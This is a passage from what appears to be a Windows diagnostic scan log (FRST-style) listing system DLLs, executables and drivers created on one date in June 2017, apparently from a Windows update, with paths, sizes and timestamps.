2017-06-16 16:55 - 2017-05-21 06:24 - 00022016 _____ (Microsoft Corporation) C:\Windows\system32\credssp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00690688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\adtschema.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00666112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpcrt4.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00553472 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kerberos.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00342528 _____ (Microsoft Corporation) C:\Windows\SysWOW64\certcli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00261120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msv1_0.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00254464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\schannel.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00223232 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ncrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00172032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wdigest.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00146432 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msaudite.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00141312 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rpchttp.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00096768 _____ (Microsoft Corporation) C:\Windows\SysWOW64\sspicli.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00082944 _____ (Microsoft Corporation) C:\Windows\SysWOW64\bcrypt.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00065536 _____ (Microsoft Corporation) C:\Windows\SysWOW64\TSpkg.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msobjs.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00022016 _____ (Microsoft Corporation) C:\Windows\SysWOW64\secur32.dll
2017-06-16 16:55 - 2017-05-21 06:06 - 00017408 _____ (Microsoft Corporation) C:\Windows\SysWOW64\credssp.dll
2017-06-16 16:55 - 2017-05-21 05:55 - 00064000 _____ (Microsoft Corporation) C:\Windows\system32\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:48 - 00291328 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb10.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00159744 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb.sys
2017-06-16 16:55 - 2017-05-21 05:48 - 00129536 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mrxsmb20.sys
2017-06-16 16:55 - 2017-05-21 05:47 - 00030720 _____ (Microsoft Corporation) C:\Windows\system32\lsass.exe
2017-06-16 16:55 - 2017-05-21 05:46 - 00050176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\auditpol.exe
2017-06-16 16:55 - 2017-05-21 05:42 - 00036352 _____ (Microsoft Corporation) C:\Windows\SysWOW64\cryptbase.dll
2017-06-16 16:55 - 2017-05-16 20:19 - 00394448 _____ (Microsoft Corporation) C:\Windows\system32\iedkcs32.dll
2017-06-16 16:55 - 2017-05-16 19:35 - 00346320 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iedkcs32.dll
2017-06-16 16:55 - 2017-05-14 22:46 - 02724864 _____ (Microsoft Corporation) C:\Windows\system32\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 22:46 - 00004096 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollectorres.dll
2017-06-16 16:55 - 2017-05-14 22:28 - 00066560 _____ (Microsoft Corporation) C:\Windows\system32\iesetup.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00417792 _____ (Microsoft Corporation) C:\Windows\system32\html.iec
2017-06-16 16:55 - 2017-05-14 22:27 - 00088064 _____ (Microsoft Corporation) C:\Windows\system32\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 22:27 - 00048640 _____ (Microsoft Corporation) C:\Windows\system32\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 22:26 - 00576512 _____ (Microsoft Corporation) C:\Windows\system32\vbscript.dll
2017-06-16 16:55 - 2017-05-14 22:24 - 02899456 _____ (Microsoft Corporation) C:\Windows\system32\iertutil.dll
2017-06-16 16:55 - 2017-05-14 22:17 - 00054784 _____ (Microsoft Corporation) C:\Windows\system32\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 22:16 - 00034304 _____ (Microsoft Corporation) C:\Windows\system32\iernonce.dll
2017-06-16 16:55 - 2017-05-14 22:12 - 00615936 _____ (Microsoft Corporation) C:\Windows\system32\ieui.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00817664 _____ (Microsoft Corporation) C:\Windows\system32\jscript.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00814080 _____ (Microsoft Corporation) C:\Windows\system32\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 22:10 - 00144384 _____ (Microsoft Corporation) C:\Windows\system32\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 22:10 - 00116224 _____ (Microsoft Corporation) C:\Windows\system32\ieetwcollector.exe
2017-06-16 16:55 - 2017-05-14 22:01 - 00968704 _____ (Microsoft Corporation) C:\Windows\system32\MsSpellCheckingFacility.exe
2017-06-16 16:55 - 2017-05-14 21:57 - 00489984 _____ (Microsoft Corporation) C:\Windows\system32\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 21:48 - 00077824 _____ (Microsoft Corporation) C:\Windows\system32\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 21:47 - 00087552 _____ (Microsoft Corporation) C:\Windows\system32\tdc.ocx
2017-06-16 16:55 - 2017-05-14 21:46 - 00107520 _____ (Microsoft Corporation) C:\Windows\system32\inseng.dll
2017-06-16 16:55 - 2017-05-14 21:42 - 00199680 _____ (Microsoft Corporation) C:\Windows\system32\msrating.dll
2017-06-16 16:55 - 2017-05-14 21:41 - 00092160 _____ (Microsoft Corporation) C:\Windows\system32\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 21:38 - 00315392 _____ (Microsoft Corporation) C:\Windows\system32\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 21:37 - 02724864 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtml.tlb
2017-06-16 16:55 - 2017-05-14 21:36 - 00152064 _____ (Microsoft Corporation) C:\Windows\system32\occache.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00262144 _____ (Microsoft Corporation) C:\Windows\system32\webcheck.dll
2017-06-16 16:55 - 2017-05-14 21:23 - 00062464 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iesetup.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00499200 _____ (Microsoft Corporation) C:\Windows\SysWOW64\vbscript.dll
2017-06-16 16:55 - 2017-05-14 21:22 - 00341504 _____ (Microsoft Corporation) C:\Windows\SysWOW64\html.iec
2017-06-16 16:55 - 2017-05-14 21:22 - 00047616 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieetwproxystub.dll
2017-06-16 16:55 - 2017-05-14 21:21 - 00064000 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MshtmlDac.dll
2017-06-16 16:55 - 2017-05-14 21:20 - 00725504 _____ (Microsoft Corporation) C:\Windows\system32\ie4uinit.exe
2017-06-16 16:55 - 2017-05-14 21:19 - 00806912 _____ (Microsoft Corporation) C:\Windows\system32\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 21:18 - 01359360 _____ (Microsoft Corporation) C:\Windows\system32\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 21:17 - 02132992 _____ (Microsoft Corporation) C:\Windows\system32\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 21:16 - 02290176 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iertutil.dll
2017-06-16 16:55 - 2017-05-14 21:15 - 00047104 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jsproxy.dll
2017-06-16 16:55 - 2017-05-14 21:14 - 00030720 _____ (Microsoft Corporation) C:\Windows\SysWOW64\iernonce.dll
2017-06-16 16:55 - 2017-05-14 21:12 - 00476160 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieui.dll
2017-06-16 16:55 - 2017-05-14 21:11 - 00115712 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieUnatt.exe
2017-06-16 16:55 - 2017-05-14 21:10 - 00663552 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript.dll
2017-06-16 16:55 - 2017-05-14 21:10 - 00620032 _____ (Microsoft Corporation) C:\Windows\SysWOW64\jscript9diag.dll
2017-06-16 16:55 - 2017-05-14 21:02 - 00416256 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtmsft.dll
2017-06-16 16:55 - 2017-05-14 20:57 - 00073216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\tdc.ocx
2017-06-16 16:55 - 2017-05-14 20:57 - 00060416 _____ (Microsoft Corporation) C:\Windows\SysWOW64\JavaScriptCollectionAgent.dll
2017-06-16 16:55 - 2017-05-14 20:56 - 00091136 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inseng.dll
2017-06-16 16:55 - 2017-05-14 20:53 - 00168960 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msrating.dll
2017-06-16 16:55 - 2017-05-14 20:52 - 00076288 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmled.dll
2017-06-16 16:55 - 2017-05-14 20:50 - 00279040 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dxtrans.dll
2017-06-16 16:55 - 2017-05-14 20:49 - 00130048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\occache.dll
2017-06-16 16:55 - 2017-05-14 20:42 - 00230400 _____ (Microsoft Corporation) C:\Windows\SysWOW64\webcheck.dll
2017-06-16 16:55 - 2017-05-14 20:40 - 00693248 _____ (Microsoft Corporation) C:\Windows\SysWOW64\msfeeds.dll
2017-06-16 16:55 - 2017-05-14 20:39 - 02057216 _____ (Microsoft Corporation) C:\Windows\SysWOW64\inetcpl.cpl
2017-06-16 16:55 - 2017-05-14 20:38 - 01155072 _____ (Microsoft Corporation) C:\Windows\SysWOW64\mshtmlmedia.dll
2017-06-16 16:55 - 2017-05-14 20:37 - 01544704 _____ (Microsoft Corporation) C:\Windows\system32\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:27 - 00800768 _____ (Microsoft Corporation) C:\Windows\system32\ieapfltr.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 01314816 _____ (Microsoft Corporation) C:\Windows\SysWOW64\urlmon.dll
2017-06-16 16:55 - 2017-05-14 20:11 - 00710144 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ieapfltr.dll
2017-06-16 16:55 - 2017-05-12 20:27 - 00631176 _____ (Microsoft Corporation) C:\Windows\system32\winresume.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00706792 _____ (Microsoft Corporation) C:\Windows\system32\winload.efi
2017-06-16 16:55 - 2017-05-12 20:26 - 00382696 _____ (Adobe Systems Incorporated) C:\Windows\system32\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:24 - 01732864 _____ (Microsoft Corporation) C:\Windows\system32\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 01163264 _____ (Microsoft Corporation) C:\Windows\system32\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00880640 _____ (Microsoft Corporation) C:\Windows\system32\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00503808 _____ (Microsoft Corporation) C:\Windows\system32\srcore.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00419840 _____ (Microsoft Corporation) C:\Windows\system32\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00405504 _____ (Microsoft Corporation) C:\Windows\system32\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00362496 _____ (Microsoft Corporation) C:\Windows\system32\wow64win.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00243712 _____ (Microsoft Corporation) C:\Windows\system32\wow64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00215552 _____ (Microsoft Corporation) C:\Windows\system32\winsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00100864 _____ (Microsoft Corporation) C:\Windows\system32\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00063488 _____ (Microsoft Corporation) C:\Windows\system32\setbcdlocale.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00059904 _____ (Microsoft Corporation) C:\Windows\system32\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00050176 _____ (Microsoft Corporation) C:\Windows\system32\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00046080 _____ (Adobe Systems) C:\Windows\system32\atmlib.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00044032 _____ (Microsoft Corporation) C:\Windows\system32\csrsrv.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00041472 _____ (Microsoft Corporation) C:\Windows\system32\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00034816 _____ (Microsoft Corporation) C:\Windows\system32\appidsvc.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00016384 _____ (Microsoft Corporation) C:\Windows\system32\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00014336 _____ (Microsoft Corporation) C:\Windows\system32\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00013312 _____ (Microsoft Corporation) C:\Windows\system32\wow64cpu.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006656 _____ (Microsoft Corporation) C:\Windows\system32\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00006144 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00005120 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004608 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00004096 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003584 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:22 - 00003072 ____H (Microsoft Corporation) C:\Windows\system32\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:07 - 00308456 _____ (Adobe Systems Incorporated) C:\Windows\SysWOW64\atmfd.dll
2017-06-16 16:55 - 2017-05-12 20:04 - 01314112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntdll.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 01114112 _____ (Microsoft Corporation) C:\Windows\SysWOW64\kernel32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00644096 _____ (Microsoft Corporation) C:\Windows\SysWOW64\advapi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00629760 _____ (Microsoft Corporation) C:\Windows\SysWOW64\usp10.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00313344 _____ (Microsoft Corporation) C:\Windows\SysWOW64\gdi32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00275456 _____ (Microsoft Corporation) C:\Windows\SysWOW64\KernelBase.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00070656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\fontsub.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00050688 _____ (Microsoft Corporation) C:\Windows\SysWOW64\appidapi.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00043008 _____ (Microsoft Corporation) C:\Windows\SysWOW64\srclient.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\lpk.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00010240 _____ (Microsoft Corporation) C:\Windows\SysWOW64\dciman32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00006656 _____ (Microsoft Corporation) C:\Windows\SysWOW64\apisetschema.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-file-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00005120 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wow32.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processthreads-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-sysinfo-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-synch-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-misc-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localregistry-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00004096 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-localization-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-processenvironment-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-namedpipe-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-memory-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-libraryloader-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-interlocked-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-heap-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-string-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-rtlsupport-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-profile-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-io-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-handle-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-fibers-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-errorhandling-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-delayload-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-debug-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-datetime-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 20:03 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-console-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:55 - 00148480 _____ (Microsoft Corporation) C:\Windows\system32\appidpolicyconverter.exe
2017-06-16 16:55 - 2017-05-12 19:54 - 00062464 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\appid.sys
2017-06-16 16:55 - 2017-05-12 19:54 - 00017920 _____ (Microsoft Corporation) C:\Windows\system32\appidcertstorecheck.exe
2017-06-16 16:55 - 2017-05-12 19:51 - 00338432 _____ (Microsoft Corporation) C:\Windows\system32\conhost.exe
2017-06-16 16:55 - 2017-05-12 19:50 - 00296960 _____ (Microsoft Corporation) C:\Windows\system32\rstrui.exe
2017-06-16 16:55 - 2017-05-12 19:46 - 00112640 _____ (Microsoft Corporation) C:\Windows\system32\smss.exe
2017-06-16 16:55 - 2017-05-12 19:43 - 00034304 _____ (Adobe Systems) C:\Windows\SysWOW64\atmlib.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00025600 _____ (Microsoft Corporation) C:\Windows\SysWOW64\setup16.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00014336 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ntvdm64.dll
2017-06-16 16:55 - 2017-05-12 19:41 - 00007680 _____ (Microsoft Corporation) C:\Windows\SysWOW64\instnm.exe
2017-06-16 16:55 - 2017-05-12 19:41 - 00002048 _____ (Microsoft Corporation) C:\Windows\SysWOW64\user.exe
2017-06-16 16:55 - 2017-05-12 19:40 - 00006144 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-security-base-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00004608 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-threadpool-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003584 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-xstate-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 19:40 - 00003072 ____H (Microsoft Corporation) C:\Windows\SysWOW64\api-ms-win-core-util-l1-1-0.dll
2017-06-16 16:55 - 2017-05-12 18:25 - 01251328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01648128 _____ (Microsoft Corporation) C:\Windows\system32\DWrite.dll
2017-06-16 16:55 - 2017-05-12 17:58 - 01180160 _____ (Microsoft Corporation) C:\Windows\system32\FntCache.dll
2017-06-16 16:55 - 2017-05-10 17:33 - 00091368 _____ (Microsoft Corporation) C:\Windows\system32\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:29 - 03165184 _____ (Microsoft Corporation) C:\Windows\system32\wucltux.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 01867776 _____ (Microsoft Corporation) C:\Windows\system32\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00192512 _____ (Microsoft Corporation) C:\Windows\system32\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:29 - 00098816 _____ (Microsoft Corporation) C:\Windows\system32\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:28 - 00091136 _____ (Microsoft Corporation) C:\Windows\system32\WinSetupUI.dll
2017-06-16 16:55 - 2017-05-10 17:16 - 00091368 _____ (Microsoft Corporation) C:\Windows\SysWOW64\MigAutoPlay.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00709120 _____ (Microsoft Corporation) C:\Windows\system32\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00140288 _____ (Microsoft Corporation) C:\Windows\system32\wuauclt.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wups2.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00037888 _____ (Microsoft Corporation) C:\Windows\system32\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:13 - 00036864 _____ (Microsoft Corporation) C:\Windows\system32\wups.dll
2017-06-16 16:55 - 2017-05-10 17:13 - 00012288 _____ (Microsoft Corporation) C:\Windows\system32\wu.upgrade.ps.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 01499648 _____ (Microsoft Corporation) C:\Windows\SysWOW64\ExplorerFrame.dll
2017-06-16 16:55 - 2017-05-10 17:12 - 00174080 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuwebv.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00573440 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapi.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00093696 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wudriver.dll
2017-06-16 16:55 - 2017-05-10 17:00 - 00035328 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wuapp.exe
2017-06-16 16:55 - 2017-05-10 17:00 - 00030208 _____ (Microsoft Corporation) C:\Windows\SysWOW64\wups.dll
2017-06-16 16:55 - 2017-05-10 16:52 - 00117248 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\tdx.sys
2017-06-16 16:55 - 2017-05-09 17:29 - 00970240 _____ (Microsoft Corporation) C:\Windows\system32\localspl.dll
2017-06-16 16:55 - 2017-05-09 17:11 - 00497664 _____ (Microsoft Corporation) C:\Windows\SysWOW64\win32spl.dll
2017-06-16 16:55 - 2017-05-07 17:33 - 00094440 _____ (Microsoft Corporation) C:\Windows\system32\Drivers\mountmgr.sys
2017-06-16 16:55 - 2017-05-07 17:29 - 00011264 _____ (Microsoft Corporation) C:\Windows\system32\msmmsp.dll
2017-06-16 16:55 - 2017-03-30 17:03 - 00046080 _____ (Microsoft Corporation) C:\Windows\system32\rundll32.exe
2017-06-16 16:55 - 2017-03-30 16:58 - 00045056 _____ (Microsoft Corporation) C:\Windows\SysWOW64\rundll32.exe
==================== One Month Modified files and folders ========
(If an entry is included in the fixlist, the file/folder will be moved.)
